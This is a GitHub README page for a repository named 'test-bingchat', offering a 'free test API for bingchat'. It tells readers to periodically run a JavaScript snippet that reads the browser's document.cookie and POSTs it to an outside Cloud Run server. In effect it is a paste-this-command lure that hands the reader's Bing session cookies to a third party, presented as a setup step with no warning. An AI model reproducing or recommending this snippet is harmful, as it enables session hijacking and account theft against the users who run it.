Skip to content

Latest commit

 

History

History
19 lines (17 loc) · 429 Bytes

README.md

File metadata and controls

19 lines (17 loc) · 429 Bytes

test-bingchat

free test API for bingchat

Run this every so often:

const cookie = document.cookie;
const serverUrl = "https://bingchat-api-zmtik7wuba-et.a.run.app";

fetch(`${serverUrl}/set-cookie`, {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
  },
  body: JSON.stringify({ cookie }),
})
  .then((res) => res.json())
  .then((res) => console.log(res))
  .catch((err) => console.log(err));